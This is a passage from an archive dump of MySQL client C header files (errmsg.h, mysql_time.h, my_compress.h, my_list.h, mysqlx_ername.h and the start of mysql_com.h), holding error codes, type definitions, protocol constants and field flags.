libmysql/errmsg.c. Dynamic error messages for the daemon are in share/language/errmsg.sys. The server equivalent to <errmsg.h> is <mysqld_error.h>. The server equivalent to <mysqlclient_ername.h> is <mysqld_ername.h>. Note that the auth subsystem also uses codes with a CR_ prefix. */ void init_client_errs(void); void finish_client_errs(void); extern const char *client_errors[]; /* Error messages */ #define CR_MIN_ERROR 2000 /* For easier client code */ #define CR_MAX_ERROR 2999 #define CLIENT_ERRMAP 2 /* Errormap used by my_error() */ /* Do not add error numbers before CR_ERROR_FIRST. */ /* If necessary to add lower numbers, change CR_ERROR_FIRST accordingly. */ #define CR_ERROR_FIRST 2000 /*Copy first error nr.*/ #define CR_UNKNOWN_ERROR 2000 #define CR_SOCKET_CREATE_ERROR 2001 #define CR_CONNECTION_ERROR 2002 #define CR_CONN_HOST_ERROR 2003 #define CR_IPSOCK_ERROR 2004 #define CR_UNKNOWN_HOST 2005 #define CR_SERVER_GONE_ERROR 2006 #define CR_VERSION_ERROR 2007 #define CR_OUT_OF_MEMORY 2008 #define CR_WRONG_HOST_INFO 2009 #define CR_LOCALHOST_CONNECTION 2010 #define CR_TCP_CONNECTION 2011 #define CR_SERVER_HANDSHAKE_ERR 2012 #define CR_SERVER_LOST 2013 #define CR_COMMANDS_OUT_OF_SYNC 2014 #define CR_NAMEDPIPE_CONNECTION 2015 #define CR_NAMEDPIPEWAIT_ERROR 2016 #define CR_NAMEDPIPEOPEN_ERROR 2017 #define CR_NAMEDPIPESETSTATE_ERROR 2018 #define CR_CANT_READ_CHARSET 2019 #define CR_NET_PACKET_TOO_LARGE 2020 #define CR_EMBEDDED_CONNECTION 2021 #define CR_PROBE_REPLICA_STATUS 2022 #define CR_PROBE_REPLICA_HOSTS 2023 #define CR_PROBE_REPLICA_CONNECT 2024 #define CR_PROBE_SOURCE_CONNECT 2025 #define CR_SSL_CONNECTION_ERROR 2026 #define CR_MALFORMED_PACKET 2027 #define CR_WRONG_LICENSE 2028 /* new 4.1 error codes */ #define CR_NULL_POINTER 2029 #define CR_NO_PREPARE_STMT 2030 #define CR_PARAMS_NOT_BOUND 2031 #define CR_DATA_TRUNCATED 2032 #define CR_NO_PARAMETERS_EXISTS 2033 #define CR_INVALID_PARAMETER_NO 2034 #define CR_INVALID_BUFFER_USE 2035 #define CR_UNSUPPORTED_PARAM_TYPE 2036 #define CR_SHARED_MEMORY_CONNECTION 2037 #define CR_SHARED_MEMORY_CONNECT_REQUEST_ERROR 2038 #define CR_SHARED_MEMORY_CONNECT_ANSWER_ERROR 2039 #define CR_SHARED_MEMORY_CONNECT_FILE_MAP_ERROR 2040 #define CR_SHARED_MEMORY_CONNECT_MAP_ERROR 2041 #define CR_SHARED_MEMORY_FILE_MAP_ERROR 2042 #define CR_SHARED_MEMORY_MAP_ERROR 2043 #define CR_SHARED_MEMORY_EVENT_ERROR 2044 #define CR_SHARED_MEMORY_CONNECT_ABANDONED_ERROR 2045 #define CR_SHARED_MEMORY_CONNECT_SET_ERROR 2046 #define CR_CONN_UNKNOW_PROTOCOL 2047 #define CR_INVALID_CONN_HANDLE 2048 #define CR_UNUSED_1 2049 #define CR_FETCH_CANCELED 2050 #define CR_NO_DATA 2051 #define CR_NO_STMT_METADATA 2052 #define CR_NO_RESULT_SET 2053 #define CR_NOT_IMPLEMENTED 2054 #define CR_SERVER_LOST_EXTENDED 2055 #define CR_STMT_CLOSED 2056 #define CR_NEW_STMT_METADATA 2057 #define CR_ALREADY_CONNECTED 2058 #define CR_AUTH_PLUGIN_CANNOT_LOAD 2059 #define CR_DUPLICATE_CONNECTION_ATTR 2060 #define CR_AUTH_PLUGIN_ERR 2061 #define CR_INSECURE_API_ERR 2062 #define CR_FILE_NAME_TOO_LONG 2063 #define CR_SSL_FIPS_MODE_ERR 2064 #define CR_DEPRECATED_COMPRESSION_NOT_SUPPORTED 2065 #define CR_COMPRESSION_WRONGLY_CONFIGURED 2066 #define CR_KERBEROS_USER_NOT_FOUND 2067 #define CR_LOAD_DATA_LOCAL_INFILE_REJECTED 2068 #define CR_LOAD_DATA_LOCAL_INFILE_REALPATH_FAIL 2069 #define CR_DNS_SRV_LOOKUP_FAILED 2070 #define CR_MANDATORY_TRACKER_NOT_FOUND 2071 #define CR_INVALID_FACTOR_NO 2072 #define CR_CANT_GET_SESSION_DATA 2073 #define CR_INVALID_CLIENT_CHARSET 2074 #define CR_ERROR_LAST /*Copy last error nr:*/ 2074 /* Add error numbers before CR_ERROR_LAST and change it accordingly. */ /* Visual Studio requires '__inline' for C code */ static inline const char *ER_CLIENT(int client_errno) { if (client_errno >= CR_ERROR_FIRST && client_errno <= CR_ERROR_LAST) return client_errors[client_errno - CR_ERROR_FIRST]; return client_errors[CR_UNKNOWN_ERROR - CR_ERROR_FIRST]; } #endif /* ERRMSG_INCLUDED */ mysql/mysql_time.h 0000644 00000007023 15246445046 0010261 0 ustar 00 /* Copyright (c) 2004, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _mysql_time_h_ #define _mysql_time_h_ /** @file include/mysql_time.h Time declarations shared between the server and client API: you should not add anything to this header unless it's used (and hence should be visible) in mysql.h. If you're looking for a place to add new time-related declaration, it's most likely my_time.h. See also "C API Handling of Date and Time Values" chapter in documentation. */ // Do not not pull in the server header "my_inttypes.h" from client code. // IWYU pragma: no_include "my_inttypes.h" enum enum_mysql_timestamp_type { MYSQL_TIMESTAMP_NONE = -2, MYSQL_TIMESTAMP_ERROR = -1, /// Stores year, month and day components. MYSQL_TIMESTAMP_DATE = 0, /** Stores all date and time components. Value is in UTC for `TIMESTAMP` type. Value is in local time zone for `DATETIME` type. */ MYSQL_TIMESTAMP_DATETIME = 1, /// Stores hour, minute, second and microsecond. MYSQL_TIMESTAMP_TIME = 2, /** A temporary type for `DATETIME` or `TIMESTAMP` types equipped with time zone information. After the time zone information is reconciled, the type is converted to MYSQL_TIMESTAMP_DATETIME. */ MYSQL_TIMESTAMP_DATETIME_TZ = 3 }; /* Structure which is used to represent datetime values inside MySQL. We assume that values in this structure are normalized, i.e. year <= 9999, month <= 12, day <= 31, hour <= 23, hour <= 59, hour <= 59. Many functions in server such as my_system_gmt_sec() or make_time() family of functions rely on this (actually now usage of make_*() family relies on a bit weaker restriction). Also functions that produce MYSQL_TIME as result ensure this. There is one exception to this rule though if this structure holds time value (time_type == MYSQL_TIMESTAMP_TIME) days and hour member can hold bigger values. */ typedef struct MYSQL_TIME { unsigned int year, month, day, hour, minute, second; unsigned long second_part; /**< microseconds */ bool neg; enum enum_mysql_timestamp_type time_type; /// The time zone displacement, specified in seconds. int time_zone_displacement; } MYSQL_TIME; #endif /* _mysql_time_h_ */ mysql/my_compress.h 0000644 00000007161 15246445046 0010441 0 ustar 00 /* Copyright (c) 2019, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef MY_COMPRESS_INCLUDED #define MY_COMPRESS_INCLUDED /* List of valid values for compression_algorithm */ enum enum_compression_algorithm { MYSQL_UNCOMPRESSED = 1, MYSQL_ZLIB, MYSQL_ZSTD, MYSQL_INVALID }; /** Compress context information. relating to zlib compression. */ typedef struct mysql_zlib_compress_context { /** Compression level to use in zlib compression. */ unsigned int compression_level; } mysql_zlib_compress_context; typedef struct ZSTD_CCtx_s ZSTD_CCtx; typedef struct ZSTD_DCtx_s ZSTD_DCtx; /** Compress context information relating to zstd compression. */ typedef struct mysql_zstd_compress_context { /** Pointer to compressor context. */ ZSTD_CCtx *cctx; /** Pointer to decompressor context. */ ZSTD_DCtx *dctx; /** Compression level to use in zstd compression. */ unsigned int compression_level; } mysql_zstd_compress_context; /** Compression context information. It encapsulate the context information based on compression method and presents a generic struct. */ typedef struct mysql_compress_context { enum enum_compression_algorithm algorithm; ///< Compression algorithm name. union { mysql_zlib_compress_context zlib_ctx; ///< Context information of zlib. mysql_zstd_compress_context zstd_ctx; ///< Context information of zstd. } u; } mysql_compress_context; /** Get default compression level corresponding to a given compression method. @param algorithm Compression Method. Possible values are zlib or zstd. @return an unsigned int representing default compression level. 6 is the default compression level for zlib and 3 is the default compression level for zstd. */ unsigned int mysql_default_compression_level( enum enum_compression_algorithm algorithm); /** Initialize a compress context object to be associated with a NET object. @param cmp_ctx Pointer to compression context. @param algorithm Compression algorithm. @param compression_level Compression level corresponding to the compression algorithm. */ void mysql_compress_context_init(mysql_compress_context *cmp_ctx, enum enum_compression_algorithm algorithm, unsigned int compression_level); /** Deinitialize the compression context allocated. @param mysql_compress_ctx Pointer to Compression context. */ void mysql_compress_context_deinit(mysql_compress_context *mysql_compress_ctx); #endif // MY_COMPRESS_INCLUDED mysql/my_list.h 0000644 00000004110 15246445046 0007550 0 ustar 00 /* Copyright (c) 2000, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef MY_LIST_INCLUDED #define MY_LIST_INCLUDED /** @file include/my_list.h */ typedef struct LIST { struct LIST *prev, *next; void *data; } LIST; typedef int (*list_walk_action)(void *, void *); extern LIST *list_add(LIST *root, LIST *element); extern LIST *list_delete(LIST *root, LIST *element); extern LIST *list_cons(void *data, LIST *root); extern LIST *list_reverse(LIST *root); extern void list_free(LIST *root, unsigned int free_data); extern unsigned int list_length(LIST *); extern int list_walk(LIST *, list_walk_action action, unsigned char *argument); #define list_rest(a) ((a)->next) #endif // MY_LIST_INCLUDED mysql/mysqlx_ername.h 0000644 00000016126 15246445046 0010766 0 ustar 00 /* * Copyright (c) 2016, 2025, Oracle and/or its affiliates. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License, version 2.0, * as published by the Free Software Foundation. * * This program is designed to work with certain software (including * but not limited to OpenSSL) that is licensed under separate terms, * as designated in a particular file or component or in included license * documentation. The authors of MySQL hereby grant you an additional * permission to link the program and your derivative works with the * separately licensed software that they have either included with * the program or referenced in the documentation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License, version 2.0, for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* Autogenerated file, please don't edit */ #include "mysqlx_error.h" {"ER_X_BAD_MESSAGE", ER_X_BAD_MESSAGE, "", NULL, NULL, 0 }, {"ER_X_CAPABILITIES_PREPARE_FAILED", ER_X_CAPABILITIES_PREPARE_FAILED, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_NOT_FOUND", ER_X_CAPABILITY_NOT_FOUND, "", NULL, NULL, 0 }, {"ER_X_INVALID_PROTOCOL_DATA", ER_X_INVALID_PROTOCOL_DATA, "", NULL, NULL, 0 }, {"ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_VALUE_LENGTH", ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_VALUE_LENGTH, "", NULL, NULL, 0 }, {"ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_KEY_LENGTH", ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_KEY_LENGTH, "", NULL, NULL, 0 }, {"ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_EMPTY_KEY", ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_EMPTY_KEY, "", NULL, NULL, 0 }, {"ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_LENGTH", ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_LENGTH, "", NULL, NULL, 0 }, {"ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_TYPE", ER_X_BAD_CONNECTION_SESSION_ATTRIBUTE_TYPE, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_SET_NOT_ALLOWED", ER_X_CAPABILITY_SET_NOT_ALLOWED, "", NULL, NULL, 0 }, {"ER_X_SERVICE_ERROR", ER_X_SERVICE_ERROR, "", NULL, NULL, 0 }, {"ER_X_SESSION", ER_X_SESSION, "", NULL, NULL, 0 }, {"ER_X_INVALID_ARGUMENT", ER_X_INVALID_ARGUMENT, "", NULL, NULL, 0 }, {"ER_X_MISSING_ARGUMENT", ER_X_MISSING_ARGUMENT, "", NULL, NULL, 0 }, {"ER_X_BAD_INSERT_DATA", ER_X_BAD_INSERT_DATA, "", NULL, NULL, 0 }, {"ER_X_CMD_NUM_ARGUMENTS", ER_X_CMD_NUM_ARGUMENTS, "", NULL, NULL, 0 }, {"ER_X_CMD_ARGUMENT_TYPE", ER_X_CMD_ARGUMENT_TYPE, "", NULL, NULL, 0 }, {"ER_X_CMD_ARGUMENT_VALUE", ER_X_CMD_ARGUMENT_VALUE, "", NULL, NULL, 0 }, {"ER_X_BAD_UPSERT_DATA", ER_X_BAD_UPSERT_DATA, "", NULL, NULL, 0 }, {"ER_X_DUPLICATED_CAPABILITIES", ER_X_DUPLICATED_CAPABILITIES, "", NULL, NULL, 0 }, {"ER_X_CMD_ARGUMENT_OBJECT_EMPTY", ER_X_CMD_ARGUMENT_OBJECT_EMPTY, "", NULL, NULL, 0 }, {"ER_X_CMD_INVALID_ARGUMENT", ER_X_CMD_INVALID_ARGUMENT, "", NULL, NULL, 0 }, {"ER_X_BAD_UPDATE_DATA", ER_X_BAD_UPDATE_DATA, "", NULL, NULL, 0 }, {"ER_X_BAD_TYPE_OF_UPDATE", ER_X_BAD_TYPE_OF_UPDATE, "", NULL, NULL, 0 }, {"ER_X_BAD_COLUMN_TO_UPDATE", ER_X_BAD_COLUMN_TO_UPDATE, "", NULL, NULL, 0 }, {"ER_X_BAD_MEMBER_TO_UPDATE", ER_X_BAD_MEMBER_TO_UPDATE, "", NULL, NULL, 0 }, {"ER_X_BAD_STATEMENT_ID", ER_X_BAD_STATEMENT_ID, "", NULL, NULL, 0 }, {"ER_X_BAD_CURSOR_ID", ER_X_BAD_CURSOR_ID, "", NULL, NULL, 0 }, {"ER_X_BAD_SCHEMA", ER_X_BAD_SCHEMA, "", NULL, NULL, 0 }, {"ER_X_BAD_TABLE", ER_X_BAD_TABLE, "", NULL, NULL, 0 }, {"ER_X_BAD_PROJECTION", ER_X_BAD_PROJECTION, "", NULL, NULL, 0 }, {"ER_X_DOC_ID_MISSING", ER_X_DOC_ID_MISSING, "", NULL, NULL, 0 }, {"ER_X_DUPLICATE_ENTRY", ER_X_DUPLICATE_ENTRY, "", NULL, NULL, 0 }, {"ER_X_DOC_REQUIRED_FIELD_MISSING", ER_X_DOC_REQUIRED_FIELD_MISSING, "", NULL, NULL, 0 }, {"ER_X_PROJ_BAD_KEY_NAME", ER_X_PROJ_BAD_KEY_NAME, "", NULL, NULL, 0 }, {"ER_X_BAD_DOC_PATH", ER_X_BAD_DOC_PATH, "", NULL, NULL, 0 }, {"ER_X_CURSOR_EXISTS", ER_X_CURSOR_EXISTS, "", NULL, NULL, 0 }, {"ER_X_CURSOR_REACHED_EOF", ER_X_CURSOR_REACHED_EOF, "", NULL, NULL, 0 }, {"ER_X_PREPARED_STATMENT_CAN_HAVE_ONE_CURSOR", ER_X_PREPARED_STATMENT_CAN_HAVE_ONE_CURSOR, "", NULL, NULL, 0 }, {"ER_X_PREPARED_EXECUTE_ARGUMENT_NOT_SUPPORTED", ER_X_PREPARED_EXECUTE_ARGUMENT_NOT_SUPPORTED, "", NULL, NULL, 0 }, {"ER_X_PREPARED_EXECUTE_ARGUMENT_CONSISTENCY", ER_X_PREPARED_EXECUTE_ARGUMENT_CONSISTENCY, "", NULL, NULL, 0 }, {"ER_X_EXPR_BAD_OPERATOR", ER_X_EXPR_BAD_OPERATOR, "", NULL, NULL, 0 }, {"ER_X_EXPR_BAD_NUM_ARGS", ER_X_EXPR_BAD_NUM_ARGS, "", NULL, NULL, 0 }, {"ER_X_EXPR_MISSING_ARG", ER_X_EXPR_MISSING_ARG, "", NULL, NULL, 0 }, {"ER_X_EXPR_BAD_TYPE_VALUE", ER_X_EXPR_BAD_TYPE_VALUE, "", NULL, NULL, 0 }, {"ER_X_EXPR_BAD_VALUE", ER_X_EXPR_BAD_VALUE, "", NULL, NULL, 0 }, {"ER_X_INVALID_COLLECTION", ER_X_INVALID_COLLECTION, "", NULL, NULL, 0 }, {"ER_X_INVALID_ADMIN_COMMAND", ER_X_INVALID_ADMIN_COMMAND, "", NULL, NULL, 0 }, {"ER_X_EXPECT_NOT_OPEN", ER_X_EXPECT_NOT_OPEN, "", NULL, NULL, 0 }, {"ER_X_EXPECT_NO_ERROR_FAILED", ER_X_EXPECT_NO_ERROR_FAILED, "", NULL, NULL, 0 }, {"ER_X_EXPECT_BAD_CONDITION", ER_X_EXPECT_BAD_CONDITION, "", NULL, NULL, 0 }, {"ER_X_EXPECT_BAD_CONDITION_VALUE", ER_X_EXPECT_BAD_CONDITION_VALUE, "", NULL, NULL, 0 }, {"ER_X_INVALID_NAMESPACE", ER_X_INVALID_NAMESPACE, "", NULL, NULL, 0 }, {"ER_X_BAD_NOTICE", ER_X_BAD_NOTICE, "", NULL, NULL, 0 }, {"ER_X_CANNOT_DISABLE_NOTICE", ER_X_CANNOT_DISABLE_NOTICE, "", NULL, NULL, 0 }, {"ER_X_BAD_CONFIGURATION", ER_X_BAD_CONFIGURATION, "", NULL, NULL, 0 }, {"ER_X_MYSQLX_ACCOUNT_MISSING_PERMISSIONS", ER_X_MYSQLX_ACCOUNT_MISSING_PERMISSIONS, "", NULL, NULL, 0 }, {"ER_X_EXPECT_FIELD_EXISTS_FAILED", ER_X_EXPECT_FIELD_EXISTS_FAILED, "", NULL, NULL, 0 }, {"ER_X_BAD_LOCKING", ER_X_BAD_LOCKING, "", NULL, NULL, 0 }, {"ER_X_FRAME_COMPRESSION_DISABLED", ER_X_FRAME_COMPRESSION_DISABLED, "", NULL, NULL, 0 }, {"ER_X_DECOMPRESSION_FAILED", ER_X_DECOMPRESSION_FAILED, "", NULL, NULL, 0 }, {"ER_X_BAD_COMPRESSED_FRAME", ER_X_BAD_COMPRESSED_FRAME, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_COMPRESSION_INVALID_ALGORITHM", ER_X_CAPABILITY_COMPRESSION_INVALID_ALGORITHM, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_COMPRESSION_INVALID_SERVER_STYLE", ER_X_CAPABILITY_COMPRESSION_INVALID_SERVER_STYLE, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_COMPRESSION_INVALID_CLIENT_STYLE", ER_X_CAPABILITY_COMPRESSION_INVALID_CLIENT_STYLE, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_COMPRESSION_INVALID_OPTION", ER_X_CAPABILITY_COMPRESSION_INVALID_OPTION, "", NULL, NULL, 0 }, {"ER_X_CAPABILITY_COMPRESSION_MISSING_REQUIRED_FIELDS", ER_X_CAPABILITY_COMPRESSION_MISSING_REQUIRED_FIELDS, "", NULL, NULL, 0 }, {"ER_X_DOCUMENT_DOESNT_MATCH_EXPECTED_SCHEMA", ER_X_DOCUMENT_DOESNT_MATCH_EXPECTED_SCHEMA, "", NULL, NULL, 0 }, {"ER_X_COLLECTION_OPTION_DOESNT_EXISTS", ER_X_COLLECTION_OPTION_DOESNT_EXISTS, "", NULL, NULL, 0 }, {"ER_X_INVALID_VALIDATION_SCHEMA", ER_X_INVALID_VALIDATION_SCHEMA, "", NULL, NULL, 0 }, mysql/mysql_com.h 0000644 00000111014 15246445046 0010075 0 ustar 00 /* Copyright (c) 2000, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /** @file include/mysql_com.h Common definition between mysql server & client. */ #ifndef _mysql_com_h #define _mysql_com_h #ifndef MYSQL_ABI_CHECK #include <stdbool.h> #include <stdint.h> #endif #include "my_command.h" #include "my_compress.h" /* We need a definition for my_socket. On the client, <mysql.h> already provides it, but on the server side, we need to get it from a header. */ #ifndef my_socket_defined #include "my_io.h" #include "mysql/components/services/bits/my_io_bits.h" #endif #ifndef MYSQL_ABI_CHECK #include <stdbool.h> #endif #define SYSTEM_CHARSET_MBMAXLEN 3 #define FILENAME_CHARSET_MBMAXLEN 5 #define NAME_CHAR_LEN 64 /**< Field/table name length */ #define PARTITION_EXPR_CHAR_LEN \ 2048 /**< Maximum expression length in chars \ */ #define USERNAME_CHAR_LENGTH 32 #define USERNAME_CHAR_LENGTH_STR "32" #ifndef NAME_LEN #define NAME_LEN (NAME_CHAR_LEN * SYSTEM_CHARSET_MBMAXLEN) #endif #define USERNAME_LENGTH (USERNAME_CHAR_LENGTH * SYSTEM_CHARSET_MBMAXLEN) #define CONNECT_STRING_MAXLEN 1024 #define MYSQL_AUTODETECT_CHARSET_NAME "auto" #define SERVER_VERSION_LENGTH 60 #define SQLSTATE_LENGTH 5 /* In FIDO terminology, relying party is the server where required services are running. Relying party ID is unique name given to server. */ #define RELYING_PARTY_ID_LENGTH 255 /* Length of random salt sent during fido registration */ #define CHALLENGE_LENGTH 32 /* Maximum authentication factors server supports */ #define MAX_AUTH_FACTORS 3 /** Maximum length of comments pre 5.6: 60 characters */ #define TABLE_COMMENT_INLINE_MAXLEN 180 #define TABLE_COMMENT_MAXLEN 2048 #define COLUMN_COMMENT_MAXLEN 1024 #define INDEX_COMMENT_MAXLEN 1024 #define TABLE_PARTITION_COMMENT_MAXLEN 1024 #define TABLESPACE_COMMENT_MAXLEN 2048 /** Maximum length of protocol packet. @ref page_protocol_basic_ok_packet length limit also restricted to this value as any length greater than this value will have first byte of @ref page_protocol_basic_ok_packet to be 254 thus does not provide a means to identify if this is @ref page_protocol_basic_ok_packet or @ref page_protocol_basic_eof_packet. */ #define MAX_PACKET_LENGTH (256L * 256L * 256L - 1) #define LOCAL_HOST "localhost" #define LOCAL_HOST_NAMEDPIPE "." #if defined(_WIN32) #define MYSQL_NAMEDPIPE "MySQL" #define MYSQL_SERVICENAME "MySQL" #endif /* _WIN32 */ /** The length of the header part for each generated column in the .frm file.*/ #define FRM_GCOL_HEADER_SIZE 4 /** Maximum length of the expression statement defined for generated columns. */ #define GENERATED_COLUMN_EXPRESSION_MAXLEN 65535 - FRM_GCOL_HEADER_SIZE /** Length of random string sent by server on handshake; this is also length of obfuscated password, received from client */ #define SCRAMBLE_LENGTH 20 #define AUTH_PLUGIN_DATA_PART_1_LENGTH 8 /** length of password stored in the db: new passwords are preceded with '*'*/ #define SCRAMBLED_PASSWORD_CHAR_LENGTH (SCRAMBLE_LENGTH * 2 + 1) /** @defgroup group_cs_column_definition_flags Column Definition Flags @ingroup group_cs @brief Values for the flags bitmask used by ::Send_field:flags Currently need to fit into 32 bits. Each bit represents an optional feature of the protocol. Both the client and the server are sending these. The intersection of the two determines what optional parts of the protocol will be used. */ /** @addtogroup group_cs_column_definition_flags @{ */ #define NOT_NULL_FLAG 1 /**< Field can't be NULL */ #define PRI_KEY_FLAG 2 /**< Field is part of a primary key */ #define UNIQUE_KEY_FLAG 4 /**< Field is part of a unique key */ #define MULTIPLE_KEY_FLAG 8 /**< Field is part of a key */ #define BLOB_FLAG 16 /**< Field is a blob */ #define UNSIGNED_FLAG 32 /**< Field is unsigned */ #define ZEROFILL_FLAG 64 /**< Field is zerofill */ #define BINARY_FLAG 128 /**< Field is binary */ /* The following are only sent to new clients */ #define ENUM_FLAG 256 /**< field is an enum */ #define AUTO_INCREMENT_FLAG 512 /**< field is a autoincrement field */ #define TIMESTAMP_FLAG 1024 /**< Field is a timestamp */ #define SET_FLAG 2048 /**< field is a set */ #define NO_DEFAULT_VALUE_FLAG 4096 /**< Field doesn't have default value */ #define ON_UPDATE_NOW_FLAG 8192 /**< Field is set to NOW on UPDATE */ #define NUM_FLAG 32768 /**< Field is num (for clients) */ #define PART_KEY_FLAG 16384 /**< Intern; Part of some key */ #define GROUP_FLAG 32768 /**< Intern: Group field */ #define UNIQUE_FLAG 65536 /**< Intern: Used by sql_yacc */ #define BINCMP_FLAG 131072 /**< Intern: Used by sql_yacc */ #define GET_FIXED_FIELDS_FLAG \ (1 << 18) /**< Used to get fields in item tree \ */ #define FIELD_IN_PART_FUNC_FLAG (1 << 19) /**< Field part of partition func */ /** Intern: Field in TABLE object for new version of altered table, which participates in a newly added index. */ #define FIELD_IN_ADD_INDEX (1 << 20) #define FIELD_IS_RENAMED (1 << 21) /**< Intern: Field is being renamed */ #define FIELD_FLAGS_STORAGE_MEDIA 22 /**< Field storage media, bit 22-23 */ #define FIELD_FLAGS_STORAGE_MEDIA_MASK (3 << FIELD_FLAGS_STORAGE_MEDIA) #define FIELD_FLAGS_COLUMN_FORMAT 24 /**< Field column format, bit 24-25 */ #define FIELD_FLAGS_COLUMN_FORMAT_MASK (3 << FIELD_FLAGS_COLUMN_FORMAT) #define FIELD_IS_DROPPED (1 << 26) /**< Intern: Field is being dropped */ #define EXPLICIT_NULL_FLAG \ (1 << 27) /**< Field is explicitly specified as \ NULL by the user */ /* 1 << 28 is unused. */ /** Field will not be loaded in secondary engine. */ #define NOT_SECONDARY_FLAG (1 << 29) /** Field is explicitly marked as invisible by the user. */ #define FIELD_IS_INVISIBLE (1 << 30) /** @}*/ /** @defgroup group_cs_com_refresh_flags COM_REFRESH Flags @ingroup group_cs @brief Values for the `sub_command` in ::COM_REFRESH Currently the protocol carries only 8 bits of these flags. The rest (8-end) are used only internally in the server. */ /** @addtogroup group_cs_com_refresh_flags @{ */ #define REFRESH_GRANT 1 /**< Refresh grant tables, FLUSH PRIVILEGES */ #define REFRESH_LOG 2 /**< Start on new log file, FLUSH LOGS */ #define REFRESH_TABLES 4 /**< close all tables, FLUSH TABLES */ #define REFRESH_HOSTS 8 /**< Flush host cache, FLUSH HOSTS */ #define REFRESH_STATUS 16 /**< Flush status variables, FLUSH STATUS */ #define REFRESH_THREADS 32 /**< Flush thread cache */ #define REFRESH_REPLICA \ 64 /**< Reset master info and restart replica \ thread, RESET REPLICA */ #define REFRESH_SLAVE \ REFRESH_REPLICA /**< Reset master info and restart replica \ thread, RESET REPLICA. This is deprecated, \ use REFRESH_REPLICA instead. */ #define REFRESH_MASTER \ 128 /**< Remove all bin logs in the index \ and truncate the index, RESET MASTER */ #define REFRESH_ERROR_LOG 256 /**< Rotate only the error log */ #define REFRESH_ENGINE_LOG 512 /**< Flush all storage engine logs */ #define REFRESH_BINARY_LOG 1024 /**< Flush the binary log */ #define REFRESH_RELAY_LOG 2048 /**< Flush the relay log */ #define REFRESH_GENERAL_LOG 4096 /**< Flush the general log */ #define REFRESH_SLOW_LOG 8192 /**< Flush the slow query log */ #define REFRESH_READ_LOCK 16384 /**< Lock tables for read. */ /** Wait for an impending flush before closing the tables. @sa REFRESH_READ_LOCK, handle_reload_request, close_cached_tables */ #define REFRESH_FAST 32768 #define REFRESH_USER_RESOURCES \ 0x80000L /** FLUSH 